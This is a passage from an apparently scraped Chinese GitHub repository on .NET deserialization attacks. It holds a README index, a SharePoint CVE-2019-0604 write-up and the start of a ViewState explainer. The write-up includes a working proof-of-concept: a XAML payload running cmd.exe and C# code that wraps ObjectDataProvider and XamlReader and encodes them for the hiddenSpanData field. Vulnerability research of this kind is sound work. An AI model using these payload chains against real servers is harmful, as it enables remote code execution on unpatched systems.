着重参考[@Ivan1ee](https://github.com/Ivan1ee)师傅的文章及其Github,以及微软文档和一些国外的议题、paper,还有[@pwntester](https://github.com/pwntester)的文章。 19 | 20 | # 目录 21 | 22 | 1. [dotnet serialize 101](./dotnet-serialize-101.md) 23 | 24 | 讲解dotnet序列化基础及其生命周期 25 | 26 | 2. [XmlSerializer](./XmlSerializer.md) 27 | 28 | 讲解xmlserializer基础、ysoserial.net ObjectDataProvider攻击链以及XamlReader.Parse() 29 | 30 | 3. [BinaryFormatter](./BinaryFormatter.md) 31 | 32 | 讲解二进制formatter基础及TextFormattingRunProperties、DataSet、TypeConfuseDelegate攻击链 33 | 34 | 4. [Nancy cookie反序列化](./Nancy.md) 及攻击链ToolboxItemContainer 35 | 36 | 5. [SoapFormatter](./SoapFormatter.md) 37 | 38 | 讲解soap格式流的反序列化漏洞及ActivitySurrogateSelector、ActivitySurrogateSelectorFromFile、ActivitySurrogateDisableTypeCheck、AxHostState攻击链和Kentico CMS的RCE 39 | 40 | 6. [LosFormatter](./LosFormatter.md) 41 | 42 | 讲解LosFormatter反序列化,以及ClaimsIdentity、WindowsIdentity、WindowsClaimsIdentity、SessionSecurityToken攻击链。 43 | 44 | 7. [ObjectStateFormatter](./ObjectStateFormatter.md) 45 | 46 | 讲解ObjectStateFormatter反序列化以及RolePrincipal、WindowsPrincipal攻击链。 47 | 48 | 8. [DataContractSerializer](./DataContractSerializer.md) 49 | 50 | 讲解DataContractSerializer反序列化、SessionViewStateHistoryItem攻击链,以及对DataContractResolver类型解析器的利用。 51 | 52 | 9. [NetDataContractSerializer](./NetDataContractSerializer.md) 53 | 54 | 讲解NetDataContractSerializer反序列化以及PSObject攻击链 55 | 56 | 10. [DataContractJsonSerializer](./DataContractJsonSerializer.md) 57 | 58 | 讲解DataContractJsonSerializer反序列化及IDataContractSurrogate接口 59 | 60 | 11. [JavaScriptSerializer](./JavaScriptSerializer.md) 61 | 62 | 讲解JavaScriptSerializer反序列化 63 | 64 | 12. [Json.Net](./Json.Net.md) 65 | 66 | 讲解了json.net反序列化,并结合实际案例 breeze CVE-2017-9424深入理解。 67 | 68 | 13. [Fastjson](./Fastjson.md) 69 | 70 | 讲解fastjson反序列化漏洞 71 | 72 | 14. [.NET Remoting](./.NET%20Remoting.md) 73 | 74 | 讲解.net remoting漏洞 75 | 76 | 15. [SharePoint CVE-2019-0604](./SharePoint-CVE-2019-0604.md) 77 | 78 | 16. [ViewState](./ViewState.md) 79 | 80 | # 一些文章 81 | 下面是笔者对于dotnet审计时收集的一些文章。 82 | 83 | - [CVE-2022-26500 Veeam Backup & Replication RCE](https://y4er.com/post/cve-2022-26500-veeam-backup-replication-rce/) 84 | - [从dotnet源码看文件上传绕waf](https://y4er.com/post/fileupload-bypass-with-dotnet/) 85 | - [Dotnet 反序列化的另外几个gadget](https://y4er.com/post/several-other-gadgets-of-dotnet/) 86 | - [CVE-2021-34992 Orckestra C1 CMS Deserialization RCE](https://y4er.com/post/cve-2021-34992-orckestra-c1-cms-deserialization-rce/) 87 | - [Some notes of Microsoft Exchange Deserialization RCE (CVE-2021–42321)](https://testbnull.medium.com/some-notes-of-microsoft-exchange-deserialization-rce-cve-2021-42321-f6750243cdcd) 88 | - [50 Shades of SolarWinds Orion Deserialization (Part 1: CVE-2021–35215)](https://testbnull.medium.com/50-shades-of-solarwinds-orion-deserialization-part-1-cve-2021-35215-2e5764e0e4f2) 89 | - [https://twitter.com/Y4er_ChaBug/status/1453971672629796865](https://twitter.com/Y4er_ChaBug/status/1453971672629796865) 90 | - [50 Shades of SolarWinds Orion (Patch Manager) Deserialization (Final Part: CVE-2021–35218)](https://testbnull.medium.com/50-shades-of-solarwinds-orion-patch-manager-deserialization-final-part-cve-2021-35218-3d38166cb81f) 91 | - [CVE-2022-26503 Veeam Agent for Microsoft Windows LPE](https://y4er.com/post/cve-2022-26503-veeam-agent-for-microsoft-windows-lpe/) 92 | - [Pwning 3CX Phone Management Backends from the Internet](https://medium.com/@frycos/pwning-3cx-phone-management-backends-from-the-internet-d0096339dd88) 93 | - [HITCON 2023 x DEVCORE Wargame: My todolist Write-up](https://devco.re/blog/2023/09/18/hitcon-2023-devcore-wargame-my-todolist-writeup/) 94 | - [FINDING DESERIALIZATION BUGS IN THE SOLARWIND PLATFORM](https://www.zerodayinitiative.com/blog/2023/9/21/finding-deserialization-bugs-in-the-solarwind-platform) 95 | - [Exploiting Hardened .NET Deserialization: New Exploitation Ideas and Abuse of Insecure Serialization(神仙文章)](https://github.com/thezdi/presentations/blob/main/2023_Hexacon/whitepaper-net-deser.pdf) 96 | 97 | 98 | # 关于 99 | 100 | ID:Y4er 101 | 102 | Blog:[Y4er.com](http://Y4er.com) 103 | 104 | Twitter:[@Y4er_ChaBug](https://twitter.com/Y4er_ChaBug) 105 | -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/DecodeEntityInstanceId.gif: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/DecodeEntityInstanceId.gif -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531093517380.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531093517380.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531094245308.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531094245308.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531094622627.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531094622627.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531094714349.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531094714349.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531095245856.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531095245856.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531095345175.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531095345175.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531102514308.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531102514308.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531103013909.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531103013909.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531103538729.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531103538729.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531104424259.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531104424259.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531104533214.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531104533214.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531105615216.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531105615216.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.assets/image-20210531105647050.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SharePoint-CVE-2019-0604.assets/image-20210531105647050.png -------------------------------------------------------------------------------- /SharePoint-CVE-2019-0604.md: -------------------------------------------------------------------------------- 1 | # SharePoint CVE-2019-0604 2 | 3 | 0604是一个xmlserializer的type可控造成的RCE。 4 | 5 | # 产生原因 6 | 7 | `Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string encodedId)`,在ZDI的分析中给出了一张gif动态图很好的描述了type是由encodedId控制的。 8 | 9 | ![img](SharePoint-CVE-2019-0604.assets/DecodeEntityInstanceId.gif) 10 | 11 | 分析这个方法在哪些地方被调用 12 | 13 | ![image-20210531093517380](SharePoint-CVE-2019-0604.assets/image-20210531093517380.png) 14 | 15 | 三个类分别对应有aspx文件 16 | 17 | - Microsoft.SharePoint.ApplicationPages.ActionRedirectPage 18 | `/_layouts/15/ActionRedirect.aspx` 19 | 20 | - Microsoft.SharePoint.ApplicationPages.DownloadExternalData 21 | `/_layouts/15/downloadexternaldata.aspx` 22 | 23 | - Microsoft.SharePoint.Portal.WebControls.ProfileRedirect 24 | `/_layouts/15/TenantProfileAdmin/profileredirect.aspx` 25 | 26 | 对应的参数也都是从request传入,但是因为get传参,通过HexEncode之后会超出http协议的长度限制,所以漏洞发现者的目光转向了 `Microsoft.SharePoint.WebControls.ItemPicker.ValidateEntity(PickerEntity)` 27 | 28 | ![image-20210531094245308](SharePoint-CVE-2019-0604.assets/image-20210531094245308.png) 29 | 30 | 传入DecodeEntityInstanceId()的参数来自于pe.Key,而ValidateEntity(PickerEntity pe)方法在 Microsoft.SharePoint.WebControls.EntityEditor.Validate() 被调用 31 | 32 | ![image-20210531094622627](SharePoint-CVE-2019-0604.assets/image-20210531094622627.png) 33 | 34 | 可见pe来自于this.Entities属性,这个属性又取决于自身的m_listOrder字段 35 | 36 | ![image-20210531094714349](SharePoint-CVE-2019-0604.assets/image-20210531094714349.png) 37 | 38 | m_listOrder在Validate()被自身`this.m_listOrder = this.m_listOrderTemp`覆盖,最终由LoadPostData()赋值 39 | 40 | ![image-20210531095245856](SharePoint-CVE-2019-0604.assets/image-20210531095245856.png) 41 | 42 | 在LoadPostData中先this.ParseSpanData(text)解析参数,赋值m_listOrderTemp,然后进行this.Validate()反序列化 43 | 44 | ![image-20210531095345175](SharePoint-CVE-2019-0604.assets/image-20210531095345175.png) 45 | 46 | 而EntityEditor类的LoadPostData的方法是对IPostBackDataHandler接口的实现,在POST时会自动调用LoadPostData方法。再来看ParseSpanData(),在LoadPostData中传入`string text = EntityEditor.StrEatUpNbsp(this.HiddenSpanData.Value);`HiddenSpanData的值。 47 | 48 | ![image-20210531102514308](SharePoint-CVE-2019-0604.assets/image-20210531102514308.png) 49 | 50 | 传入的值为spans,经过分割为数组最后赋值为新的pickerEntity3,key为text5,而text5就是来自于spans。那么pe.Key就可控了。 51 | 52 | 53 | 54 | EntityEditor类有一个继承类EntityEditorWithPicker,该类还有继承类ItemPicker 55 | 56 | ![image-20210531103013909](SharePoint-CVE-2019-0604.assets/image-20210531103013909.png) 57 | 58 | 接下来寻找ItemPicker的web控件。作者找到了 /_layouts/15/Picker.aspx,位于Microsoft.SharePoint.ApplicationPages.Picker 59 | 60 | ![image-20210531103538729](SharePoint-CVE-2019-0604.assets/image-20210531103538729.png) 61 | 62 | 接收一个PickerDialogType的参数来实例化PickerDialog控件。这里可以用下面两个类 63 | 64 | - Microsoft.SharePoint.WebControls.ItemPickerDialog 65 | - Microsoft.SharePoint.Portal.WebControls.ItemPickerDialog 66 | 67 | 因为这两个类的构造函数中都用到了ItemPicker 68 | 69 | ![image-20210531104424259](SharePoint-CVE-2019-0604.assets/image-20210531104424259.png) 70 | 71 | 并且表单中有hiddenSpanData 72 | 73 | ![image-20210531104533214](SharePoint-CVE-2019-0604.assets/image-20210531104533214.png) 74 | 75 | 所以这里可以RCE了。 76 | 77 | # PoC构造 78 | 79 | 把`Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.DecodeEntityInstanceId(string encodedId)`所在的dll拷出来放到vs中引用,然后代码如下 80 | 81 | ```xml 82 | 87 | 88 | 89 | cmd.exe 90 | /c calc.exe 91 | 92 | 93 | 94 | ``` 95 | 96 | 然后 97 | 98 | ```csharp 99 | using System; 100 | using System.Data.Services.Internal; 101 | using System.IO; 102 | using System.Text; 103 | using System.Windows.Data; 104 | using System.Windows.Markup; 105 | using System.Xml.Serialization; 106 | 107 | namespace test 108 | { 109 | class Program 110 | { 111 | static void Main(string[] args) 112 | { 113 | object[] objs = new object[1]; 114 | objs[0] = Payload("1.xml"); 115 | MemoryStream memoryStream = new MemoryStream(); 116 | TextWriter writer = new StreamWriter(memoryStream); 117 | XmlSerializer xmlSerializer = new XmlSerializer(typeof(ExpandedWrapper)); 118 | xmlSerializer.Serialize(writer, objs[0]); 119 | string result = Encoding.UTF8.GetString(memoryStream.ToArray()); 120 | Console.WriteLine(result); 121 | string payload = Microsoft.SharePoint.BusinessData.Infrastructure.EntityInstanceIdEncoder.EncodeEntityInstanceId(objs); 122 | Console.WriteLine(payload); 123 | Console.ReadKey(); 124 | } 125 | public static object Payload(string filepath) 126 | { 127 | ExpandedWrapper eobj = new ExpandedWrapper(); 128 | eobj.ProjectedProperty0 = new ObjectDataProvider(); 129 | eobj.ProjectedProperty0.ObjectInstance = new XamlReader(); 130 | eobj.ProjectedProperty0.MethodName = "Parse"; 131 | eobj.ProjectedProperty0.MethodParameters.Add(File.ReadAllText(filepath)); 132 | return eobj; 133 | } 134 | } 135 | } 136 | ``` 137 | 138 | 用ExpandedWrapper包装XamlReader和ObjectDataProvider,然后用EncodeEntityInstanceId编码,通过hiddenSpanData发送出去 139 | 140 | ![image-20210531105615216](SharePoint-CVE-2019-0604.assets/image-20210531105615216.png) 141 | 142 | 然后这不就来了吗 143 | 144 | ![image-20210531105647050](SharePoint-CVE-2019-0604.assets/image-20210531105647050.png) 145 | 146 | # 正向捋一捋流程 147 | 148 | 1. Picker.aspx接收参数实例化PickerDialog控件。 149 | 2. PickerDialog有一个子类:ItemPickerDialog,其构造函数用到了ItemPicker 150 | 3. ItemPicker继承自EntityEditorWithPicker,EntityEditorWithPicker又继承自EntityEditor 151 | 4. EntityEditor实现IPostBackDataHandler接口LoadPostData() 152 | 5. 在LoadPostData中ParseSpanData解析hiddenSpanData,赋值m_listOrderTemp控制pe.Key 153 | 6. 然后进入Validate,循环遍历m_listOrderTemp强转PickerEntity进入Microsoft.SharePoint.Portal.WebControls.ItemPicker.ValidateEntity(PickerEntity) 154 | 7. ValidateEntity将pe.Key传入DecodeEntityInstanceId 155 | 8. DecodeEntityInstanceId从pe.Key拿到type,type可控导致反序列化RCE 156 | 157 | # ysoserial.net中的bug 158 | 159 | 使用yso生成的payload并不起作用,本地复现报错xaml格式问题,发现是因为在他的xaml中多写了两个大括号。已经给作者提了pr https://github.com/pwntester/ysoserial.net/pull/107 160 | 161 | -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210421105004584.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210421105004584.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423093639645.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423093639645.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423095957309.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423095957309.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423100231532.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423100231532.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423100346984.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423100346984.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423105549185.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423105549185.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423110821354.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423110821354.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423111143072.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423111143072.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423112540223.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423112540223.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423113056084.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423113056084.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423113432726.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423113432726.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423114839443.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423114839443.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423115351194.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423115351194.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423115916072.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423115916072.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423134658154.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423134658154.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423135603478.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423135603478.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423141033293.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423141033293.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423173350326.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173350326.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423173543809.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173543809.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423173707437.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423173707437.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423174149763.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174149763.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423174727520.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174727520.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423174820749.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174820749.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423174914316.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423174914316.png -------------------------------------------------------------------------------- /SoapFormatter.assets/image-20210423175705137.png: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/Y4er/dotnet-deserialization/c8dac42dfc267d32492e18fe13a3ba5ef717b58c/SoapFormatter.assets/image-20210423175705137.png -------------------------------------------------------------------------------- /ViewState.md: -------------------------------------------------------------------------------- 1 | # 认识ViewState 2 | 使用vs2019创建一个新的项目 3 | 4 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/0aee8356-2131-0bf0-d570-048791462a1c.png) 5 | 6 | 7 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/ccf2642e-7045-c424-ef11-c7a6f31a3087.png) 8 | 9 | 有一个默认的Default.aspx 10 | 11 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/4a29cc69-29c2-bffe-93fb-5a087ccfd507.png) 12 | 13 | 其中form表单有 `runat="server"` 属性,然后页面中生成了 `__VIEWSTATE` 和 `__VIEWSTATEGENERATOR` 两个隐藏字段。 14 | 15 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/9be56a14-438a-b255-83c1-fab0c7f8e2e7.png) 16 | 17 | 18 | 使用[ViewStateDecoder](https://github.com/raise-isayan/ViewStateDecoder/tree/master/release)解密内容 19 | 20 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/b6a94d38-5f6c-8322-4206-ced686f21c93.png) 21 | 22 | 看过我之前文章的人应该知道这一串`/wEPDwULLTE2MTY2ODcyMjlkZPANhFrc/D/zynboI58b9RD9UhX7OF4/2ILmVw2Vu7d2`是由losFormatter序列化二进制数据然后base64的字符串 23 | 24 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/e6ce2593-f0f8-b94f-a503-3c754a0572c4.png) 25 | 26 | 反序列化回来可知其本质是一组`System.Web.UI.Pair`对象。我们可以在代码中向viewstate中添加键值来保存一些对象。 27 | 28 | 比如Default.aspx.cs 29 | 30 | ``` 31 | using System; 32 | using System.Collections.Generic; 33 | using System.Web; 34 | using System.Web.UI; 35 | using System.Web.UI.WebControls; 36 | 37 | public partial class _Default : System.Web.UI.Page 38 | { 39 | protected void Page_Load(object sender, EventArgs e) 40 | { 41 | ViewState.Add("asd", "asd"); 42 | } 43 | } 44 | ``` 45 | 此时viewstate值为 `/wEPDwULLTE2MTY2ODcyMjkPFgIeA2FzZAUDYXNkZGRE3e84k6pb/oXbu/72ZxNc9h9dcEj+8FXmWEbtzuCtkQ==` 46 | 47 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/cc051b41-a1b5-f3a8-683f-c0b0f8b567f2.png) 48 | 49 | 50 | 也正是因为viewstate可以被任何人拿过来反序列化拿到其中的敏感信息,甚至可以直接传递恶意的viewstate进行反序列化rce(这个放后面演示),所以losformatter被弃用而转由ObjectStateFormatter代替。ObjectStateFormatter的作用就在于对viewstate进行加密,并校验签名防篡改。 51 | 52 | 53 | # viewstate的加密和防篡改 54 | 55 | 在dotnet2.0中,aspx的Page标签,或者web.config中都可以对viewstate进行加密,关键取决于以下两个值 56 | 57 | 1. ViewStateEncryptionMode="Always" 58 | 2. EnableViewStateMac="true" 59 | 60 | 61 | ViewStateEncryptionMode是一个枚举,三个选项值就不解释了。 62 | 63 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/1a681e8b-0c11-71d2-ea2a-887c66f3811f.png) 64 | 65 | 单独加密并不能解决篡改的问题,需要EnableViewStateMac来保证数据完整性。 66 | 67 | 当在aspx页面中启用`ViewStateEncryptionMode="Always"`时viewstate随之加密。 68 | 69 | 70 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/39559b89-c987-70ac-1863-59c63d8be3f8.png) 71 | 72 | 而对于EnableViewStateMac 73 | 74 | > 从.NET 4.5.2 开始,强制启用ViewStateMac功能,也就是说即使你将 EnableViewStateMac设置为false,也不能禁止ViewState的校验。安全公告KB2905247(于2014年9月星期二通过补丁程序发送到所有Windows计算机)将ASP.NET 设置为忽略EbableViewStateMac设置。 75 | 76 | 他的值取决于web.config中的一个键值和一个注册表的值,以及page自身的EnableViewStateMac。 77 | 78 | 在ObjectStateFormatter.Deserialize()中 79 | 80 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/ef32ebdf-e77e-086b-3672-5a6d6b9b2f0b.png) 81 | 82 | array数组取决于是否启用EnableViewStateMac 83 | 84 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/0bde3a93-e391-8c43-c263-0b36f7fd2d23.png) 85 | 86 | 87 | 这个属性又取决于EnableViewStateMacRegistryHelper类,在他的构造函数中 88 | 89 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/89cbd7a4-430a-de01-1516-c4bd92f96a59.png) 90 | 91 | 断点的地方从注册表中读取一个值,如果为不等于0,则返回true 92 | 93 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/e4bdf13c-8d1a-a0b1-d759-4c294aa89ab0.png) 94 | 95 | 也就是不为0时,强制执行 96 | 97 | ```csharp 98 | if (flag) 99 | { 100 | EnableViewStateMacRegistryHelper.EnforceViewStateMac = true; 101 | EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks = true; 102 | } 103 | ``` 104 | 105 | 将EnforceViewStateMac设置为true 106 | 107 | 另一个if条件是 108 | 109 | ```csharp 110 | if (AppSettings.AllowInsecureDeserialization != null) 111 | { 112 | EnableViewStateMacRegistryHelper.EnforceViewStateMac = !AppSettings.AllowInsecureDeserialization.Value; 113 | EnableViewStateMacRegistryHelper.SuppressMacValidationErrorsFromCrossPagePostbacks |= !AppSettings.AllowInsecureDeserialization.Value; 114 | } 115 | ``` 116 | 117 | 对AllowInsecureDeserialization取反,AllowInsecureDeserialization这个值在web.config中可以配置。 118 | 119 | ```xml 120 | 121 | 122 | 123 | 124 | 125 | ``` 126 | 127 | 而只有这两个值最起码要启用一个才能强制关闭EnforceViewStateMac,比如下图。 128 | 129 | ![image.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/1572841/a0a01df3-2177-c626-1fec-5d3a472f7160.png) 130 | 131 | 虽然page里赋值为false,但是因为注册表中没有禁用mac,在web.config中也没禁用web.config,所以即使在page中禁用mac,通过反射输出的值仍为true,此时仍然是启用了mac校验的。 132 | 133 | ```csharp 134 | <% 135 | System.Reflection.PropertyInfo propertyInfo = Page.GetType().GetProperty("EnableViewStateMac", System.Reflection.BindingFlags.Public | System.Reflection.BindingFlags.NonPublic | System.Reflection.BindingFlags.Instance); 136 | object v = propertyInfo.GetValue(Page, new object[] { }); 137 | Response.Write(propertyInfo.Name + ":" + v + "
